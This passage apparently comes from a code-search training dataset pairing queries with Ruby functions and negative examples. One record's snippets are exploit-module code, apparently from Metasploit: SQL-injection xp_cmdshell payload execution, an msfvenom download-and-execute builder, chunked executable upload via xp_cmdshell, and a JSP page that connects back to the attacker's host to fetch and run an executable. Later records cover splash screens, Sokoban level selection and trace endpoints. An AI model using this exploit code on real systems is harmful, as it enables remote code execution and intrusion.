'3'\n\t\t\t\tf.puts \"set DELIVERY ps\"\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tpayload = payload_selector(2) # 1=Listerner Mode, 2-Exploit Mode, 3=Payload Builder #\n\t\tif payload =~ /bind/\n\t\t\tprint_caution(\"Please provide PORT for Bind Shell: \")\n\t\telse\n\t\t\tprint_caution(\"Please provide PORT to listen on: \")\n\t\tend\n\t\tzport=gets.chomp\n\n\t\tprint_status(\"Launching Microsoft SQL Server xp_cmdshell Payload Execution via SQL Injection against #{zIP} in a new x-window.....\")\n\t\tf.puts \"set PAYLOAD #{payload}\"\n\t\tf.puts \"set LHOST 0.0.0.0\"\n\t\tf.puts \"set LPORT #{zport}\"\n\t\tif payload =~ /meterpreter/\n\t\t\tf.puts \"set AutoRunScript migrate -f\"\n\t\tend\n\t\tf.puts \"set ExitOnSession false\"\n\t\tf.puts \"exploit -j -z\"\n\t\tf.close\n\n\t\tsqli_sploit=\"xterm -title 'MS-SQLi xp_cmdshell Payload Execution' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(sqli_sploit)\n\t\tprint_line(\"\")\n\tend",
"def body\r\nif raw_post = @env['RAW_POST_DATA']\r\nraw_post.force_encoding(Encoding::BINARY)\r\nStringIO.new(raw_post)\r\nelse\r\n@env['rack.input']\r\nend\r\nend",
"def downloader_payload\n\t\tprint_status(\"Windows Download & Exec Payload Builder\")\n\t\tprint_caution(\"Provide Filename to Save & Run as on Target: \")\n\t\tzNAME=gets.chomp\n\n\t\tprint_caution(\"Please provide (pre-encoded) URL to the executable to download & run: \")\n\t\tzSITE=gets.chomp\n\n\t\tprint_status(\"Generating payload with #{payload} EXE=#{zNAME} URL=#{zSITE}, hang tight a sec.....\")\n\t\tsystem(\"#{MSFPATH}/msfvenom -p windows/download_exec EXE=#{zNAME} URL=#{zSITE} -f exe > #{@results}downNexec.exe\")\n\t\tsleep(2)\n\t\tprint_status(\"\")\n\t\tprint_status(\"Your Windows Download & Exec Payload is ready to go!\")\n\t\tprint_status(\"You can find it here: #{@results}downNexec.exe\")\n\t\tprint_status(\"May the SE Force be with you.....\")\n\t\tprint_status(\"\")\n\tend",
"def exec_payload(thread_id)\r\n # 0. Fingerprinting OS\r\n fingerprint_os(thread_id)\r\n\r\n vprint_status(\"#{peer} - Executing payload on \\\"#{@os}\\\", target version: #{version}\")\r\n\r\n # 1. Prepares the payload\r\n payload_exe, pl_exe = setup_payload\r\n\r\n # 2. Creates file on server for dumping payload\r\n file = create_file(thread_id, payload_exe)\r\n\r\n # 3. Uploads payload to the server\r\n pl = upload_payload(thread_id, pl_exe)\r\n\r\n # 4. Dumps uploaded payload into file on the server\r\n dump_payload(thread_id, file, pl)\r\n\r\n # 5. Closes the file on the server\r\n close_file(thread_id, file)\r\n\r\n # 5b. When linux arch, give execution permissions to file\r\n if target['Platform'] == 'linux'\r\n cmd = \"chmod +x #{payload_exe}\"\r\n execute_command(thread_id, cmd)\r\n end\r\n\r\n # 6. Executes the dumped payload\r\n cmd = \"#{payload_exe}\"\r\n execute_command(thread_id, cmd)\r\n end",
"def generate_raw_payload\n if payload == 'stdin'\n if arch.blank?\n raise IncompatibleArch, \"You must select an arch for a custom payload\"\n elsif platform.blank?\n raise IncompatiblePlatform, \"You must select a platform for a custom payload\"\n end\n stdin\n else\n payload_module = framework.payloads.create(payload)\n\n chosen_platform = choose_platform(payload_module)\n if chosen_platform.platforms.empty?\n raise IncompatiblePlatform, \"The selected platform is incompatible with the payload\"\n end\n\n chosen_arch = choose_arch(payload_module)\n unless chosen_arch\n raise IncompatibleArch, \"The selected arch is incompatible with the payload\"\n end\n\n payload_module.generate_simple(\n 'Format' => 'raw',\n 'Options' => datastore,\n 'Encoder' => nil,\n 'MaxSize' => @space,\n 'DisableNops' => true\n )\n end\n end",
"def mssql_upload_exec(exe, debug=false)\n hex = exe.unpack(\"H*\")[0]\n\n var_bypass = rand_text_alpha(8)\n var_payload = rand_text_alpha(8)\n\n print_status(\"Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory\")\n print_status(\"Writing the debug.com loader to the disk...\")\n h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))\n h2b.gsub!(/KemneE3N/, \"%TEMP%\\\\#{var_bypass}\")\n h2b.split(/\\n/).each do |line|\n mssql_xpcmdshell(\"#{line}\", false)\n end\n\n print_status(\"Converting the debug script to an executable...\")\n mssql_xpcmdshell(\"cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\\\#{var_bypass}\", debug)\n mssql_xpcmdshell(\"cmd.exe /c move %TEMP%\\\\#{var_bypass}.bin %TEMP%\\\\#{var_bypass}.exe\", debug)\n\n print_status(\"Uploading the payload, please be patient...\")\n idx = 0\n cnt = 500\n while(idx < hex.length - 1)\n mssql_xpcmdshell(\"cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\\\#{var_payload}\", false)\n idx += cnt\n end\n\n print_status(\"Converting the encoded payload...\")\n mssql_xpcmdshell(\"%TEMP%\\\\#{var_bypass}.exe %TEMP%\\\\#{var_payload}\", debug)\n mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_bypass}.exe\", debug)\n mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_payload}\", debug)\n\n print_status(\"Executing the payload...\")\n mssql_xpcmdshell(\"%TEMP%\\\\#{var_payload}.exe\", false, {:timeout => 10})\n end",
"def mssql_upload_exec(exe, debug=false)\n hex = exe.unpack(\"H*\")[0]\n\n var_bypass = rand_text_alpha(8)\n var_payload = rand_text_alpha(8)\n\n print_status(\"Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory\")\n print_status(\"Writing the debug.com loader to the disk...\")\n h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))\n h2b.gsub!(/KemneE3N/, \"%TEMP%\\\\#{var_bypass}\")\n h2b.split(/\\n/).each do |line|\n mssql_xpcmdshell(\"#{line}\", false)\n end\n\n print_status(\"Converting the debug script to an executable...\")\n mssql_xpcmdshell(\"cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\\\#{var_bypass}\", debug)\n mssql_xpcmdshell(\"cmd.exe /c move %TEMP%\\\\#{var_bypass}.bin %TEMP%\\\\#{var_bypass}.exe\", debug)\n\n print_status(\"Uploading the payload, please be patient...\")\n idx = 0\n cnt = 500\n while(idx < hex.length - 1)\n mssql_xpcmdshell(\"cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\\\#{var_payload}\", false)\n idx += cnt\n end\n\n print_status(\"Converting the encoded payload...\")\n mssql_xpcmdshell(\"%TEMP%\\\\#{var_bypass}.exe %TEMP%\\\\#{var_payload}\", debug)\n mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_bypass}.exe\", debug)\n mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_payload}\", debug)\n\n print_status(\"Executing the payload...\")\n mssql_xpcmdshell(\"%TEMP%\\\\#{var_payload}.exe\", false, {:timeout => 1})\n end",
"def generate_jsp_payload\r\n\t\tmy_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(\"50.50.50.50\") : datastore['SRVHOST']\r\n\t\tmy_port = datastore['SRVPORT']\r\n\r\n\t\t# tmp folder = C:\\Program Files\\SolarWinds\\Storage Manager Server\\temp\\\r\n\t\t# This will download our malicious executable in base64 format, decode it back,\r\n\t\t# save it as a temp file, and then finally execute it.\r\n\t\tjsp = %Q|\r\n\t\t<%@page import=\"java.io.*\"%>\r\n\t\t<%@page import=\"java.net.*\"%>\r\n\t\t<%@page import=\"sun.misc.BASE64Decoder\"%>\r\n\r\n\t\t<%\r\n\t\tStringBuffer buf = new StringBuffer();\r\n\t\tbyte[] shellcode = null;\r\n\t\tBufferedOutputStream outstream = null;\r\n\t\ttry {\r\n\t\t\tSocket s = new Socket(\"#{my_host}\", #{my_port});\r\n\t\t\tBufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));\r\n\t\t\twhile (buf.length() < #{@native_payload.length}) {\r\n\t\t\t\tbuf.append( (char) r.read());\r\n\t\t\t}\r\n\r\n\t\t\tBASE64Decoder decoder = new BASE64Decoder();\r\n\t\t\tshellcode = decoder.decodeBuffer(buf.toString());\r\n\r\n\t\t\tFile temp = File.createTempFile(\"#{@native_payload_name}\", \".exe\");\r\n\t\t\tString path = temp.getAbsolutePath();\r\n\r\n\t\t\toutstream = new BufferedOutputStream(new FileOutputStream(path));\r\n\t\t\toutstream.write(shellcode);\r\n\t\t\toutstream.close();\r\n\r\n\t\t\tProcess p = Runtime.getRuntime().exec(path);\r\n\t\t} catch (Exception e) {}\r\n\t\t%>\r\n\t\t|\r\n\r\n\t\tjsp = jsp.gsub(/\\n/, '')\r\n\t\tjsp = jsp.gsub(/\\t/, '')\r\n\r\n\t\tjsp.unpack(\"H*\")[0]\r\n\tend",
"def generate_raw_payload\n if payload == 'stdin'\n if arch.blank?\n raise IncompatibleArch, \"You must select an arch for a custom payload\"\n elsif platform.blank?\n raise IncompatiblePlatform, \"You must select a platform for a custom payload\"\n end\n stdin\n else\n payload_module = framework.payloads.create(payload)\n\n chosen_platform = choose_platform(payload_module)\n if chosen_platform.platforms.empty?\n raise IncompatiblePlatform, \"The selected platform is incompatible with the payload\"\n end\n\n chosen_arch = choose_arch(payload_module)\n unless chosen_arch\n raise IncompatibleArch, \"The selected arch is incompatible with the payload\"\n end\n\n payload_module.generate_simple(\n 'Format' => 'raw',\n 'Options' => datastore,\n 'Encoder' => nil\n )\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
create the splash screen
|
def makeSplash
clearScreen
splash = ConsoleSplash.new(15,70)
splash.write_header("Welcome to Sokoban","Ben Cornforth","Alpha Build, November 2015",{:nameFg=>:green,:authorFg=>:green, :versionFg=>:green, :bg=>:black})
splash.write_horizontal_pattern("/*",{:fg=>:white, :bg=>:black})
splash.write_vertical_pattern("/",{:fg=>:orange, :bg=>:black})
splash.splash
if pressKey != ''
menuScreen
end
end
|
[
"def display_splash_screen(splash)\n #Game general information\n splash.write_header(\" Flood it !\", \"Alex Bondrea\", \"1.0\", {:nameFg=>:white,\n :nameBg=>:blue})\n splash.write_center(-2, \"Copyright Β© 2016 Alex Bondrea\")\n\n splash.splash # => render splash screen\n gets # => Exit splash when user input\nend",
"def splash_page\n end",
"def splashScreen(width, height)\n splash = ConsoleSplash.new(height, width);\n splash.write_header(\"Welcome to Flood-It\", \"Jake Sturgeon\", \"1.0\")\n splash.write_center(-3, \"<Press enter to continue>\")\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n splash.splash\n puts \"\"\nend",
"def splash_screen()\n\tsplash = ConsoleSplash.new()\n\tsplash.write_header(\"Flood It\", \"Daniel Marshall\", \"0.1.0\",\n\t\t\t{:nameFg=>:red})\n\tsplash.write_center(-5, \"Copyright 2016-\")\n\tsplash.write_top_pattern(\"/\\\\\", {:fg=>:blue})\n\tsplash.write_bottom_pattern(\"\\\\/\", {:fg=>:blue})\n\tsplash.write_vertical_pattern(\"|\", {:fg=>:blue})\n\tputs(\"\\e[H\\e[2J\")\n\tsplash.splash\n\twidth = 14\n\theight = 9\n\tbest_score = 0\n\tgets\n\tmain_menu(width, height, best_score)\nend",
"def splash_screen()\n system \"clear\"\n splash = ConsoleSplash.new()\n splash.write_header(\"Welcome to Flood-It\", \"Omar Iltaf\", \"1.0\")\n splash.write_center(-10, \"<Press ENTER to continue.>\")\n splash.write_horizontal_pattern(\"* \")\n splash.write_vertical_pattern(\"*\")\n splash.splash\n puts\n gets\nend",
"def goto_splash\r\n fadeout_all\r\n SceneManager.goto(Scene_Splash)\r\n end",
"def copy_library_splash_screen(templates_path, resource_dir, project, group_name)\n splash_screen_template_path = templates_path + UFS_SPLASH_SCREEN_XIB_NAME\n spash_screen_copy_path = resource_dir + UFS_SPLASH_SCREEN_XIB_NAME\n unless File.exist?(spash_screen_copy_path)\n p 'Adding splash screen'\n FileUtils.copy(splash_screen_template_path, spash_screen_copy_path)\n splashScreenFile = project.main_group[group_name].new_file(spash_screen_copy_path)\n add_resource_file_to_target(splashScreenFile, group_name, project)\n end\n\n asset_name = 'Images.xcassets'\n image_set_path = templates_path + UFS_LOGO_IMAGE_SET_NAME\n system(\"cp -r #{image_set_path} #{resource_dir + asset_name}\")\nend",
"def play_splash\n Graphics.transition\n count = 60\n down_col = - 255 / count * 2\n Audio.se_play(\"Audio/SE/Nintendo\")\n (count * 2).times do |i|\n down_col *= -1 if i == count\n @viewport.color.alpha += down_col\n Graphics.update\n end\n start_intro_movie(INTRO_MOVIE_MAP_ID) unless INTRO_MOVIE_MAP_ID == 0\n end",
"def create\n @splashscreen = Splashscreen.new(splashscreen_params)\n\n respond_to do |format|\n if @splashscreen.save\n format.html { redirect_to splashscreens_url, notice: 'Splashscreen was successfully created.' }\n format.json { render :show, status: :created, location: @splashscreen }\n else\n format.html { render :new }\n format.json { render json: @splashscreen.errors, status: :unprocessable_entity }\n end\n end\n end",
"def splash\n if user_signed_in?\n redirect_to home_path\n end\n end",
"def create_game_frame(width,height)\n splash = ConsoleSplash.new(height, width)\n\n #Surrounding the game frame with fancy stylized symbols\n splash.write_horizontal_pattern(\"~-~\", {:fg=>:red, :bg=>:white})\n splash.write_left_pattern(\"<\", {:fg=>:red, :bg=>:white})\n splash.write_right_pattern(\">\", {:fg=>:red, :bg=>:white})\n\n return splash\nend",
"def intro\n system 'clear'\n intro = PicDisplay.new\n intro.logo\n sleep(4)\n welcome\n end",
"def create_start_bitmap\n if Title_Settings::PRESS_START_PICTURE.size > 0\n Cache.picture(Title_Settings::PRESS_START_PICTURE)\n else\n if $imported['H87-XInput'] && XInput.controller_plugged_in?\n text = Vocab.press_start\n else\n text = Vocab.press_enter\n end\n size = Title_Core.text_size(Title_Settings::START_SIZE, text)\n bitmap = Bitmap.new(size.width + 6, size.height + 6)\n bitmap.font.size = Title_Settings::START_SIZE\n bitmap.font.name = Title_Settings::FONT_NAME\n bitmap.font.bold = Title_Settings::TITLE_BOLD\n bitmap.font.italic = Title_Settings::TITLE_ITALIC\n bitmap.font.outline = Title_Settings::TITLE_OUTLINE\n bitmap.font.shadow = Title_Settings::TITLE_SHADOW\n if glow?\n bitmap.draw_glowed_text(0, 0, bitmap.width, bitmap.height, text, 1, 2, glow_color)\n else\n bitmap.draw_text(0, 0, bitmap.width, bitmap.height, text, 1)\n end\n bitmap\n end\n end",
"def startLoadingScreen _args\n \"startLoadingScreen _args;\" \n end",
"def display_splash_text\n splash = Artii::Base.new :font => 'slant'\n puts splash.asciify('Country Trivia').blue\n splash\n end",
"def create\r\n super # Create the windows\r\n show(PLACEMENT_SCREEN) # Make the main window appear\r\n end",
"def launch!\n intro\n menu\n end",
"def start!\n @window = Window.new width, height, fullscreen?\n window.caption = name\n window.scene = Scenes.generate(first_scene)\n window.show\n end",
"def center_splashscreen(sprite)\r\n sprite.x = Graphics.width / 2\r\n sprite.y = Graphics.height / 2\r\n sprite.ox = sprite.bitmap.width / 2\r\n sprite.oy = sprite.bitmap.height / 2\r\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
this code will run when the user wants to select a level
|
def selectLevel
puts "Choose a level from 1 - 90:"
input = gets.chomp()
tempLevelNo = input.to_i
if (input == tempLevelNo.to_s)
if 1 > tempLevelNo || tempLevelNo > 90
puts "Level does not exist, please choose a level from 1-90"
puts "Do you wish to continue choosing? y/n"
case(pressKey)
when "y"
selectLevel
return
when "n"
menuScreen
return
end
else
@levelNo = tempLevelNo
clearScreen
#load onto array
loadArray
#display array
displayArray
end
else
puts "This is not an integer, please enter a level number which is an integer"
end
end
|
[
"def select_level\n\t\t\t\t\t\t\t\t\tlevel = nil\n\t\t\t\t\t\t\t\t\tloop do\n\t\t\t\t\t\t\t\t\t\tputs \"\"\n\t\t\t\t\t\t\t\t\t\tputs \"Choose difficulty Level:\"\n\t\t\t\t\t\t\t\t\t\tputs \"[1] Easy\"\n\t\t\t\t\t\t\t\t\t\tputs \"[2] Medium\"\n\t\t\t\t\t\t\t\t\t\tputs \"[3] Hard\"\n\t\t\t\t\t\t\t\t\t\tputs \"Enter the number of the corresponding difficulty level:\"\n\t\t\t\t\t\t\t\t\t\tlevel = gets.chomp\n\t\t\t\t\t\t\t\t\t\tbreak if valid_choice? level, 3\n\t\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\t\tcase level\n\t\t\t\t\t\t\t\t\twhen \"1\" # Easy\n\t\t\t\t\t\t\t\t\t\t@total_hint = 27\n\t\t\t\t\t\t\t\t\twhen \"2\" # Medium\n\t\t\t\t\t\t\t\t\t\t@total_hint = 10\n\t\t\t\t\t\t\t\t\twhen \"3\" # Hard\n\t\t\t\t\t\t\t\t\t\t@total_hint = 5\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend",
"def change_dungeon_level\n if dungeons_conquered.any?\n puts 'What dungeon level would you like to visit?'\n # TODO: add validation for option\n option = choose_array_option dungeons_conquered.map { |dungeon| \"Dungeon level #{dungeon.level}\" }, true\n self.current_dungeon = dungeons_conquered[option.pred]\n Dungeon.enter(self)\n else\n puts \"You have not conqeuered any dungeons..yet! Go get em'!\"\n end\n end",
"def selection_level\n\n levels = %w[low medium high]\n puts \"Please enter a level: low, medium or high?\"\n level = nil\n until level == \"low\" || level == \"medium\" || level == \"high\"\n level = gets.chomp.downcase\n if level == \"low\"\n @word_array = @words_low\n elsif level == \"medium\"\n @word_array = @words_medium\n elsif level == \"high\"\n @word_array = @words_high\n elsif level != \"low\" && level != \"hard\" && level != \"medium\"\n puts \"Invalid level. Please enter again\"\n level = gets.chomp.downcase\n end\n\n attempt = 0\n while !levels.include?(level)\n if attempt < 3\n attempt += 1\n puts \"Please enter a valid level. You have #{(-attempt + 3) + 1} more attempts.\\n\"\n level = gets.chomp\n else\n puts \"Too many attempts..start the program again\"\n exit\n end\n end\n end\n\n end",
"def choose_level \n puts \"\\n\\nChoose level 1, 2, 3, or 4.\\n\\n\"\n print \"> \"\n test = STDIN.gets.chomp\n \n if (test == \"1\") || (test == \"2\") || (test == \"3\") || (test == \"4\") \n level = test\n\tputs \"\\n\\nProceeding to level #{level}!\\n\"\n\t40.times{print \"_ \"}\n\tlevel\n else\n\tchoose_level\t\n end \n \nend",
"def update_level\n @current_level += 1\n @ui.place_text(\"THIS IS LEVEL: #{@current_level}\".ljust(18) ,2,3,DungeonOfDoom::C_BLACK_ON_YELLOW)\n end",
"def level() end",
"def load_level(level_name)\n @game.log.info \"Loading level into game #{level_name}\"\n #@game.animation_controller.clear\n @game.level = @game.level_loader.load_level(level_name)\n if !@game.player\n @game.log.info \"Level loading player\"\n @game.player = @game.player_loader.load_player\n end\n #TODO Hackish and an exact double\n if @game.level.player_start_position\n @game.log.info \"Level setting start player position\"\n @game.player.position = @game.level.player_start_position\n end\n if @game.level.player_start_health\n @game.log.info \"Level setting start player health\"\n @game.player.health = ((@game.level.player_start_health.to_f/100.0) * @game.player.max_health).to_i\n end\n\n @game.log.info \"Level adding player #{@game.player} weapon:(#{@game.player.inventory.weapon})\"\n if @game.player.inventory.weapon\n @game.player.inventory.weapon.inactivate\n end\n @game.level.add_player(@game.player)\n if @game.level.background_music\n @game.sound_controller.play_song(@game.level.background_music, true)\n end\n @game.clock.reset\n @game.temporary_message = nil\n @game.rendering_controller.add_consumable_rendering(@game, RenderingTypes::FADE_IN_LEVEL, 60)\n @game.input_controller.enable_all\n @game.level\n end",
"def test_level\n # draw new level if level has changed\n draw_level if actor.level != @level\n end",
"def _level? level\n\t\t_throw Sl[:'your level is too low'] if _user[:level].to_i < level.to_i\n\tend",
"def change_level\n if Group::LEVEL_TITLES.include?(params[:level])\n params[:level] = Group::LEVELS[Group::LEVEL_TITLES.index(params[:level])]\n end\n unless Group::LEVELS.include?(params[:level])\n flash[:notice] = 'invalid level'\n render(:update) do |page|\n update_flash(page, flash[:notice])\n end\n return\n end\n\n act_on_members do |gi|\n if gi.level == 'leader' && gi.group.leaders.count == 1\n @member_notices << \"Couldn't change #{gi.person.full_name}'s level from a leader, since that would result in a leaderless group!\"\n else\n @levels_to_update << gi.level # update old\n gi.level = params[:level]\n @levels_to_update << gi.level # update new\n @member_notices << \"#{gi.person.full_name} is now a #{params[:level]}\"\n end\n end\n end",
"def add_titration_level_set(level_name,type,levels,initial)\n name.set level_name\n type.nil? scheduled.click : unschedule.click\n remove_buttons.each { |remove| remove.click }\n levels.split(',').each_with_index { |level,index|\n add_level.click\n level_names[index].set level\n initial_dose[index].click if initial==level\n }\n save.click\n end",
"def set_level(level)\n @level = level\n end",
"def startlevel_set (level)\n execute(:startlevel, level)\n end",
"def update\n\n #Show level select if player has already cleared any levels\n if @state == :starting then\n if @profile_level > 0 then\n max_level = @profile_level < @end_level ? @profile_level + 1 : @end_level\n push_game_state(Level_Choice.new(:max_level => max_level))\n else\n @current_level, @state = 1, :idle\n end\n end\n\n #Show next level start screen\n if @state == :idle then\n push_game_state(Level_Intro.new(:level_number => @current_level))\n end\n\n #Start next level\n if @state == :screen_shown then\n push_game_state(PlayLevel.new(:file => sprintf(\"levels/Level_%03d.yml\", @current_level),\n :return_state => LevelShell,\n :callback => method(:next_level)))\n end\n\n #Arcade levels done --- show finish screen\n if @state == :finished then\n switch_game_state(ArcadeFinished)\n end\n\n end",
"def level=(value)\n @level = value\n end",
"def action\n (@current_level = 'X' ; return) if ( @user_choice == 'X' || @user_choice == 'x')\n\n (menu_level_left ; return) if @user_choice == \"\\e[D\"\n\n tmp_lvl = @current_level + '.' + @user_choice\n cmd = @menu_map[tmp_lvl][1]\n cmd ? execute_action(cmd) : @current_level = tmp_lvl\n end",
"def _level? level\n\t\terror L[:'your level is too low'] if _user[:level].to_i < level.to_i\n\tend",
"def levels_screen_inputs\n index = Options::LEVELS_SCREEN.find_index @settings_hovered\n if button_up? Gosu::KB_S\n if index == 2\n @settings_hovered = Options::LEVELS_SCREEN[0]\n else\n index += 1\n @settings_hovered = Options::LEVELS_SCREEN[index]\n end\n elsif button_up? Gosu::KB_W\n if index == 0\n @settings_hovered = Options::LEVELS_SCREEN[2]\n else\n index -= 1\n @settings_hovered = Options::LEVELS_SCREEN[index]\n end\n elsif button_up? Gosu::KB_SPACE\n if @settings_hovered == \"Easy\"\n @game_settings.cpu_difficulty = 1\n elsif @settings_hovered == \"Medium\"\n @game_settings.cpu_difficulty = 4\n elsif @settings_hovered == \"Hard\"\n @game_settings.cpu_difficulty = 10\n end\n @game_settings.current_screen = \"game\"\n end\n end",
"def next_level\n if @daddy.current_level + 1 >= NUMBER_OF_LEVELS\n display_menu\n @viewer.display_game_completed_message\n else\n @daddy.current_level += 1\n @daddy.start_game\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
creating an array for locateMan, where the 0th element is x across, and the 1st element is y down
|
def locateMan
yDown=0
@levelArr.each do |y|
xCount=1
y.each do |x|
if x == '@'
return xCount,yDown
end
xCount+=1
end
yDown+=1
end
end
|
[
"def pos\n return [@x, @y]\n end",
"def location\n [@x, @y, @floor]\n end",
"def positions(x=@x,y=@y) \n return [[x,y]] if unit_size == 1\n tiles = [] \n for ox in x...(x+unit_size)\n for oy in y...(y+unit_size)\n tiles.push([ox,oy])\n end\n end\n return tiles\n end",
"def positions_to_check_for_event\n positions = [[@x, @y]]\n x2 = $game_map.round_x_with_direction(@x, @direction)\n y2 = $game_map.round_y_with_direction(@y, @direction)\n positions << [x2, y2]\n return positions unless $game_map.counter?(x2, y2)\n x3 = $game_map.round_x_with_direction(x2, @direction)\n y3 = $game_map.round_y_with_direction(y2, @direction)\n positions << [x3, y3]\n return positions\n end",
"def start_space\n location = []\n @grid.each_with_index do |row, idx|\n row.each_with_index do |col, i|\n if @grid[idx][i] == \"S\"\n location << idx\n location << i\n end\n end\n $x = location[0]\n $y = location[1]\n end\n location\n end",
"def cell_location_at_point(x, y)\n [x / WIDTH, y / HEIGHT ]\n end",
"def avarage_position(battlers)\n x = 0\n y = 0\n for target in battlers\n x += target.actual_x\n y += target.actual_y\n end\n x /= [battlers.size, 1].max\n y /= [battlers.size, 1].max\n return [x, y]\n end",
"def get_snake_pos\n i = 0\n @snake_x_arr = Array.new\n @snake_y_arr = Array.new\n while i < @length\n x = @snake_arr[i].x\n y = @snake_arr[i].y\n\n @snake_x_arr << hit_box(x)\n @snake_y_arr << hit_box(y)\n i += 1\n end\n end",
"def rectilinear_obstruction_array(destination_row, destination_col)\n # Store initial variables\n new_row_position = current_row_index\n new_column_position = current_column_index\n obstruction_array = []\n # Determine horizontalincrements\n if new_row_position == destination_row # protector piece is on same row with king\n # begin moving across column positions\n column_increment = destination_col > new_column_position ? 1 : -1\n new_column_position += column_increment\n while (destination_col - new_column_position).abs > 0\n obstruction_array << [new_row_position, new_column_position]\n new_column_position += column_increment\n end\n elsif new_column_position == destination_col # protector piece is on same column with king\n # begin moving across row positions\n row_increment = destination_row > new_row_position ? 1 : -1\n new_row_position += row_increment\n while (destination_row - new_row_position).abs > 0\n obstruction_array << [new_row_position, new_column_position]\n new_row_position += row_increment\n end\n end\n # return obstruction array (values will be checked later )\n obstruction_array\n end",
"def avarage_position\n x = 0\n y = 0\n for target in @enemies\n x += target.actual_x\n y += target.actual_y\n end\n x /= [@enemies.size, 1].max\n y /= [@enemies.size, 1].max\n return [x, y]\n end",
"def location(x, y, w, h)\n return x - w/2, y + 20\n end",
"def positions(r)\n x = []\n y = []\n\n leftx = -r*(NX - 1) / 2\n topy = -SQRT_3_OVER_2 * r * (NY - 1) / 2\n\n for i in 0...NX*NY do\n a, b = grid_pos(i)\n x.push(leftx + r*a)\n y.push(topy + r*b)\n end\n\n return [x, y]\nend",
"def parse\n start_x = 0\n start_y = 0\n\n @maze.each_with_index do |line, index|\n if line.include? 'S'\n start_y = line.index('S')\n start_x = index\n break\n end\n end\n [start_x, start_y]\n end",
"def get_unit_at(units,row,col)\n units.find{|u| u.y == row and u.x == col} \nend",
"def location(x, y, theta, distance)\n\t [x + distance * Math.cos(theta), y - distance * Math.sin(theta)]\n\tend",
"def index_for(x, y, coordinate_system=:row_col)\n case coordinate_system\n when :row_col\n x * 9 + y\n when :col_row\n y * 9 + x\n when :box\n [0,3,6,27,30,33,54,57,60][x] + [0,1,2,9,10,11,18,19,20][y]\n end\n end",
"def coordinates_to_indices(x, y)\n [x - 1, y - 1]\n end",
"def coord(id)\r\n #xy = id % (@xsize * @ysize)\r\n #x = xy % @xsize\r\n #y = xy / @xsize\r\n #z = (id - xy) / (@xsize * @ysize)\r\n return @indexes[id]\r\n end",
"def create_moves_array(args)\n move_arr = []\n x = args.fetch(:x, [0])\n y = args.fetch(:y, [0])\n y_i = 0\n x_i = 0\n\n loop do\n move_arr << [y[y_i], x[x_i]]\n x_i += 1 if more_x = x_i < x.length - 1\n y_i += 1 if more_y = y_i < y.length - 1\n break unless more_x || more_y\n end\n\n return move_arr\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /traces/1 GET /traces/1.xml
|
def show
@trace = Trace.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @trace }
end
end
|
[
"def index\n @traces = Trace.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traces }\n end\n end",
"def index\n @traces = Trace.all\n end",
"def traces\n @traces ||= RequestList.new\n end",
"def index\n @traces = Trace.all\n\n render json: @traces\n end",
"def trace uri, args = {}; Request.new(TRACE, uri, args).execute; end",
"def show\n @traces = Trace.find_by(id: params[:id])\n url_string = ''\n response = HTTParty.get(url_string)\n data = {\n \"latitude\": @traces.latitude,\n \"longitude\": @traces.longitude,\n \"elevation\": response.body.to_i\n }\n render json: data\n end",
"def get_traces_usage(start_hr, end_hr = nil)\n params = {\n start_hr: start_hr\n }\n\n params['end_hr'] = end_hr if end_hr\n\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/usage/traces\", params, nil, false)\n end",
"def get_test_traces(n)\n traces = []\n\n defaults = {\n service: 'test-app',\n resource: '/traces',\n span_type: 'web'\n }\n\n n.times do\n span1 = Datadog::Span.new(nil, 'client.testing', defaults).finish()\n span2 = Datadog::Span.new(nil, 'client.testing', defaults).finish()\n span2.set_parent(span1)\n traces << [span1, span2]\n end\n\n traces\n end",
"def get_alert_summary \n get(\"/alerts.json/summary\")\nend",
"def index\n @traceurs = Traceur.all\n end",
"def index\n response = ::TrailFetcher.new.get\n puts response.read_body\n @trails = Trail.all\n end",
"def show\n @fault_history = FaultHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fault_history }\n end\n end",
"def get_trace trace_id\n ensure_service!\n service.get_trace trace_id\n end",
"def xssrays_rays_all\n print_verbose \"Retrieving all rays\"\n response = RestClient.get \"#{@url}xssrays/rays\", {:params => {:token => @token}}\n details = JSON.parse(response.body)\n print_good \"Retrieved #{details['count']} rays\"\n details\nrescue => e\n print_error \"Could not retrieve rays: #{e.message}\"\nend",
"def show\n @tour = Tour.find(params[:id])\n trace_last\n find_traces\n end",
"def index\n @visit_stats = VisitStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @visit_stats }\n end\n end",
